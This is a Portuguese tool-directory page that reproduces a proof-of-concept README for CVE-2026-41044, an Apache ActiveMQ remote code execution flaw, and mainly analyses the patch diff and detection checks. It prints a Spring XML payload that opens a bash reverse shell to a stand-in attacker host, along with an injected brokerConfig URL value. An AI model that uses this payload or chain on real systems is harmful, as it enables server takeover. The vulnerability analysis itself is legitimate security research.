Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-41044 — # Demonstração educacional e prova de conceito para CVE-2026-41044, uma RCE no Apache ActiveMQ, com análise de causa raiz e script de detecção. | Kitploit
Ferramentas/GitHubGitHub/mrillicit/cve-2026-41044
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoPapers e PesquisaAprendizado e Educação
GitHubmrillicit/cve-2026-41044

CVE-2026-41044

# Demonstração educacional e prova de conceito para CVE-2026-41044, uma RCE no Apache ActiveMQ, com análise de causa raiz e script de detecção.

Ver Repositório
há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-41044

Nota: Apenas para Fins Educacionais

Do Advisory à RCA numa Tarde: Como a IA Colapsa a Análise de N-Days

Um passo a passo curto e honesto do CVE-2026-41044 no Apache ActiveMQ usando o código exato pré e pós-patch.


O CVE-2026-41044 foi divulgado em 24 de abril de 2026. É uma vulnerabilidade de execução remota de código no Apache ActiveMQ Classic, encontrada por jsjcw, corrigida nas versões 5.19.6 e 6.2.5. Eu não a encontrei.

O que quero mostrar é como alguém que nunca tocou no ActiveMQ antes pode produzir um exploit funcional de um N-day numa tarde, porque o código corrigido é público, o código não corrigido é público, e a diferença entre eles está a um git diff de distância.


Parte 1: O fluxo de trabalho

O processo é simples:

  1. Leia o advisory, anote os ficheiros afetados, o CWE e quaisquer nomes de funções mencionados.
  • Faça checkout da última versão vulnerável e da primeira versão corrigida lado a lado.
  • Peça a um modelo para fazer diff dos ficheiros relevantes e explicar cada alteração.
  • Reproduza a cadeia num laboratório local e teste de ponta a ponta.
  • O que costumava levar dias agora leva uma tarde. A IA não encontra bugs. Ela lê código e explica-o tão rápido quanto consegues fazer perguntas. A parte cara continua a ser tu: decidir o que é realmente explorável, onde estão os verdadeiros limites de confiança, o que precisa de verificação. O modelo apenas percorre grafos de chamadas mais rápido do que qualquer humano consegue.

    O ponto mais amplo: se o teu fluxo de trabalho de correção assume uma semana de tempo de análise por CVE, estás no cronograma antigo. O git diff tem o mesmo tamanho quer estejas a escrever deteção ou exploits.


    Parte 2: CVE-2026-41044

    O que é o ActiveMQ?

    O ActiveMQ é um broker de mensagens. Ele fica no meio e passa mensagens entre aplicações. Pensa nele como uma estação de correios: as apps deixam mensagens, o ActiveMQ entrega-as ao destinatário certo. Está amplamente implementado em stacks Java empresariais e expõe uma consola web e uma API de gestão REST chamada Jolokia em /api/jolokia/. As credenciais padrão em muitas implementações continuam a ser admin:admin.


    A vulnerabilidade numa frase

    O ActiveMQ permitia que qualquer utilizador autenticado carregasse uma configuração de broker a partir de um URL HTTP arbitrário, que o Spring analisava e executava imediatamente como objetos Java - incluindo ProcessBuilder - dando ao atacante execução total de comandos do SO no servidor do broker.


    Contexto: os termos de que precisas

    • Broker: o servidor ActiveMQ em execução. Identificado por um nome, por padrão localhost.
    • Jolokia: uma ponte HTTP-para-JMX em /api/jolokia/ que expõe operações de gestão como uma API REST. Qualquer credencial válida da consola web chega até ela - não apenas admin.
    • Transporte vm://: o transporte em processo usado quando um cliente vive no mesmo JVM que o broker. Aceita um parâmetro de consulta ?brokerConfig= que aponta para um XML Spring config para inicializar um broker a partir dele.
    • xbean:: um esquema de URL que diz ao ActiveMQ para tratar o URL como uma configuração XML Spring e carregá-la.
    • Beans Spring / init-method: o Spring lê XML e cria automaticamente objetos Java (beans). O atributo init-method diz ao Spring para chamar um método no bean no momento em que é criado - antes de qualquer outra coisa ser executada.
    • ProcessBuilder: uma classe Java padrão que executa comandos do SO. ProcessBuilder.start() executa o comando.

    A cadeia: cinco camadas, código real

    Camada 1 - DestinationView constrói um URL por concatenação de strings

    DestinationView.sendTextMessage() na versão 5.19.2 constrói um URL de ligação ao broker concatenando diretamente o nome do broker numa string:

    root@kitploit:~
    // 5.19.2 - DestinationView.sendTextMessage()
    String brokerUrl = "vm://" + broker.getBrokerName();
    ActiveMQConnectionFactory cf = new ActiveMQConnectionFactory(brokerUrl);
    

    Se getBrokerName() devolver localhost?brokerConfig=xbean:http://attacker/poison.xml, essa string inteira torna-se um URI vm:// válido com um parâmetro de consulta embutido. ActiveMQConnectionFactory entrega-o a VMTransportFactory, que extrai o parâmetro brokerConfig e usa-o como URL de configuração de bootstrap do broker.

    A correção na 5.19.6 é uma linha:

    root@kitploit:~
    // 5.19.6 - DestinationView.sendTextMessage()
    URI brokerUrl = broker.getVmConnectorURI();
    

    String torna-se URI - a concatenação acidental deixa de ser possível. O valor vem de um objeto URI pré-construído e imutável derivado do conector VM registado real do broker, não de uma string de nome mutável.


    Camada 2 - O ponto de envenenamento no RegionBroker

    Para a Camada 1 ser explorável, o nome do broker tem de ser envenenado primeiro. O BrokerService sempre sanitizou nomes de broker:

    root@kitploit:~
    // BrokerService.setBrokerName() - presente em AMBAS as versões
    private static final String INVALID_BROKER_NAME_CHAR_REG_EXP = "[^a-zA-Z0-9._\\-:]";
    brokerName.replaceAll(INVALID_BROKER_NAME_CHAR_REG_EXP, "_");
    

    Essa regex remove ? e = limpo. O CVE existia porque o RegionBroker tinha o seu próprio setter separado que não o fazia:

    root@kitploit:~
    // 5.19.2 - RegionBroker.java
    private String brokerName;           // mutável
    
    public void setBrokerName(String brokerName) {
        this.brokerName = brokerName;    // sem validação nenhuma
    }
    

    Isto é um clássico "deputado confuso" - dois setters em classes relacionadas, apenas um deles sanitiza. Um peer remoto a transmitir um pacote BrokerInfo forjado com um campo de nome envenenado chega diretamente a RegionBroker.setBrokerName(), contornando completamente a regex do BrokerService.

    A correção na 5.19.6 elimina o setter, torna o campo final e inicializa-o uma única vez a partir do pai já sanitizado:

    root@kitploit:~
    // 5.19.6 - RegionBroker.java
    private final String brokerName;     // imutável
    
    public RegionBroker(BrokerService brokerService, ...) {
        this.brokerName = Objects.requireNonNull(
            brokerService.getBrokerName(), "The broker name cannot be null");
        // setBrokerName() desapareceu. Já não existe setter.
    }
    

    Não podes contornar um sanitizador que não tem escritor paralelo.


    Camada 3 - VMTransportFactory: deliberadamente inalterado

    VMTransportFactory.doCompositeConnect() é a função que pega no URI vm://...?brokerConfig=..., extrai o parâmetro brokerConfig e chama BrokerFactory.createBroker(brokerURI). É o mecanismo de acionamento de toda a cadeia.

    A Apache não mudou absolutamente nada aqui.

    Essa escolha diz-te algo sobre como pensaram a correção. O VMTransportFactory está a fazer trabalho legítimo - os transportes vm:// realmente devem aceitar configs de bootstrap. Corrigi-lo teria partido o design pretendido. Em vez disso, a Apache corrigiu o bug na origem (Camada 2: nenhum nome envenenado pode ser escrito) e no sumidouro (Camada 5: mesmo que um URL envenenado passasse, o resolvedor de recursos não o vai buscar).

    Corrige as camadas onde a validação pertence, não a camada por onde o atacante aconteceu passar.


    Camada 4 - XBeanBrokerFactory entrega o URI ao Spring

    root@kitploit:~
    // XBeanBrokerFactory - igual em ambas as versões
    protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
        Resource resource = Utils.resourceFromString(uri);   // Camada 5
        return new ResourceXmlApplicationContext(resource) { ... };
    }
    

    ResourceXmlApplicationContext(resource) é onde o Spring faz a sua parte - o init-method de cada bean é executado na construção do contexto, antes de o BrokerService do ActiveMQ alguma vez validar o resultado. Não há patch para fazer aqui. O contrato do Spring está correto como foi desenhado. O bug era que o ActiveMQ dependia de a validação acontecer antes da instanciação, e o Spring não promete essa ordem.


    Camada 5 - Utils.resourceFromString: a correção primitiva real

    Esta é a função que decidia se xbean:http://attacker/poison.xml devia ser buscado. Na 5.19.2:

    root@kitploit:~
    // 5.19.2 - Utils.java
    public static Resource resourceFromString(String uri) throws MalformedURLException {
        if (new File(uri).exists()) {
            return new FileSystemResource(uri);
        } else if (ResourceUtils.isUrl(uri)) {
            return new UrlResource(ResourceUtils.getURL(uri));  // http? ftp? jar? sem verificação.
        } else {
            return new ClassPathResource(uri);
        }
    }
    

    Sem filtro de protocolo. http://, https://, ftp://, jar:// - todos aceites silenciosamente.

    A correção da 5.19.6 adiciona uma lista de permissões explícita. Apenas file e classpath são permitidos por padrão. Tudo o resto lança exceção antes de UrlResource ser alguma vez construído:

    root@kitploit:~
    // 5.19.6 - Utils.java
    public static final String FILE_PROTOCOL      = "file";
    public static final String CLASSPATH_PROTOCOL = "classpath";
    
    public static Resource resourceFromString(String uri, Set<String> allowedProtocols)
            throws MalformedURLException {
        // ...
        } else if (ResourceUtils.isUrl(uri)) {
            validateUrlAllowed(uri, allowedProtocols);           // lança exceção se http/https/etc
            resource = new UrlResource(ResourceUtils.getURL(uri));
        }
    }
    
    static void validateUrlAllowed(String uriString, Set<String> allowedProtocols)
            throws URISyntaxException {
        if (allowedProtocols != null) {
            final String detectedProtocol = getProtocolFromScheme(uriString);
            if (!allowedProtocols.contains(detectedProtocol)) {
                throw new IllegalArgumentException("URL [" + uriString +
                        "] uses protocol '" + detectedProtocol + "' which is not allowed");
            }
        }
    }
    

    O XBeanBrokerFactory agora passa {file, classpath} como lista de permissões. Mesmo que um nome de broker envenenado chegasse a esta função numa versão futura, http://attacker/poison.xml lançaria exceção antes de o Spring alguma vez o visse.


    Como é que o payload do exploit se parece

    root@kitploit:~
    <beans xmlns="http://www.springframework.org/schema/beans" ...>
      <bean id="rce" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>/bin/sh</value>
            <value>-c</value>
            <value>bash -i &gt;&amp; /dev/tcp/attacker/4444 0&gt;&amp;1</value>
          </list>
        </constructor-arg>
      </bean>
    </beans>
    

    No momento em que o Spring constrói o ApplicationContext, init-method="start" dispara no bean ProcessBuilder. A validação do BrokerService.start() do ActiveMQ é executada depois. Nessa altura, a shell já estabeleceu a ligação de volta.


    Sobre o PoC e os dois caminhos

    Existem duas formas de chegar ao sumidouro vulnerável Utils.resourceFromString:

    O caminho completo de produção (o que o advisory descreve):

    root@kitploit:~
    Peer remoto envia pacote BrokerInfo forjado
      -> RegionBroker.setBrokerName() armazena nome envenenado sem validação
        -> DestinationView.sendTextMessage() concatena-o num URL vm://
          -> VMTransportFactory extrai o parâmetro brokerConfig
            -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
    

    O caminho curto (o que poc.sh usa):

    root@kitploit:~
    BrokerFactory.createBroker("xbean:http://attacker/poison.xml")
      -> XBeanBrokerFactory -> Utils.resourceFromString -> RCE Spring
    

    O PoC usa o caminho curto por uma razão prática: o caminho completo requer configurar um segundo broker ActiveMQ como peer de rede que envia um pacote BrokerInfo forjado ao alvo - uma interação broker-a-broker que precisa de uma configuração de laboratório mais complexa. O caminho curto funciona com um único broker e um servidor HTTP básico.

    Ambos os caminhos atingem a mesma primitiva vulnerável. O PoC confirma que o sumidouro é explorável e que o CVE está presente no alvo. Se quiseres reproduzir o ponto de entrada exato descrito no advisory, precisas de adicionar o passo broker-a-broker.


    Deteção

    O PoC executa em modo apenas-deteção por padrão. Testa dois sinais:

    Verificação de banner - lê BrokerVersion via Jolokia:

    • < 5.19.6 ou 6.0.0 - 6.2.4 = intervalo vulnerável

    Verificação de comportamento - chama addNetworkConnector("vm://probe") via Jolokia:

    • Corrigido (5.19.6+) devolve: Transport scheme 'vm' is not allowed
    • Vulnerável devolve uma IOException DiscoveryAgent scheme NOT recognized

    A rejeição na versão corrigida vem de BrokerView.validateAllowedUrl() - uma lista de negação separada adicionada diretamente à operação JMX addNetworkConnector na 5.19.6, não de Utils.resourceFromString. Estas são duas correções independentes: uma protege a superfície de gestão JMX, a outra protege a primitiva de carregamento de recursos descrita na Camada 5. A sonda de comportamento testa a primeira.


    A correção resumida

    CamadaVulnerável (5.19.2)Corrigido (5.19.6)
    DestinationViewconcatenação de string "vm://" + brokerNamebroker.getVmConnectorURI() URI imutável
    RegionBrokercampo mutável, setter não sanitizadocampo final, setter eliminado, inicializado a partir do pai sanitizado
    VMTransportFactoryinalteradoinalterado (por design)
    XBeanBrokerFactorychama Utils.resourceFromString(uri)chama Utils.resourceFromString(uri, allowedProtocols)
    Utils.resourceFromStringbusca qualquer esquema de URLlista de permissões aplicada - apenas file e classpath por padrão

    Referências e créditos

    • Advisory da Apache: CVE-2026-41044
    • Corrigido no ActiveMQ Classic 5.19.6 e 6.2.5
    • Descoberta da vulnerabilidade: jsjcw
    • CVE irmão para contexto: CVE-2026-34197 (Horizon3.ai)
    • O código neste post é verificado diretamente das árvores de código-fonte 5.19.2 e 5.19.6
    • Orientado por Varshit Modi, gerado com assistência de IA.
    Baixar ferramenta